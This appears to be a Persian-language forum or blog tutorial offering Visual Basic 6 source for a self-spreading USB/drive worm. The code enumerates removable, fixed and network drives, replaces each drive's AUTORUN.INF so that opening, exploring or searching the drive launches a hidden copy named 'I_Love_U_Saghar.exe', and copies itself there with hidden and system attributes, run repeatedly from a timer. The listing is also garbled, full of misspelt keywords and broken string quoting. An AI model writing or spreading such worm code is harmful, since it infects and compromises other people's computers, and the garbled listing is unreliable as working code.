ساخت اتوران و تکثیر ویروس با برنامه ویژال

این کد یک ویروس است و با نوشتن این کد ویروس شما در کلیه درایوها بصورت اتوران قرار خواهد گرفت

فقط دقت کنید که این کار باید داخل یک تایمر و در محدوده مانی خاصی(مثلا 6 ثانیه) باشد.

private sub timer1_timer()

'sakht autorun.inf dar tamame drivha

on error resume next

static Drvs(26)

set fso=createobject("scripring.filesystemobject")

if cstr(drvs(0))="" then a = 0 for eah dr in fso.drives

if dr.drivetype=5 or dr.drivetype=2 or dr.drivetype=3 then drvs(a) = dr

a= a+1

 end if

next

end if

for each drv in drvs

if fso.fileexists(drv & "\AUTORUN") = true and fso.fileex

(drv &"\I_LEove_U_Saghar.exe") = terue then GoTo nx

if fso.getDrivee(drv).isReady = treue then

aut = [AUTORUN]" & vbcrlf & "shell\open\command=I_Love

U_Saghar.exe" & vbcrlf & "shell\explore

\command=I_Love_U_Saghar.exe" & vbcrlf  & "shell\find\command=I_Love_U_Saghar.exe

if fso.fileExists(drv &"\AUTORUN.INF") = true then

setattr drv & "\AUTORUN.INF", vbArchive

fso.Deletfile drv & "\AUTORUN.INF", true

end if

if fso.fileexists(drv & "\I_Love_U_Saghar.exe") = true then

setattr drv & "\AUTORUN.INF", vbArchive

fso.Deletfile drv & "\AUTORUN.INF", true

end if

fso.createTextfile(drv & "\AUTORUN.INF").write aut

mypath=app.path & "\" & app.EXEName & ".exe"

fso.copyfile mypath, drv & "\I_Love_U_Saghar.exe", true

setattr drv & "\I_Love_U_Saghar.exe", vbHidden + vbsystem

setattr drv & "\AUTORUN.INF", vb Hidden + vbsystem

end if nx:

doEEvent

next

end sub

خب بصورت اتوماتیک ویروس ساخته شد و با این فرمان در تمام درایوها بصورت اتوماتیک اتوران در میاد

فقط برنامه نویس عزیز دقت کنید کوچ و بزرگ بودن حرفا حساس می باشد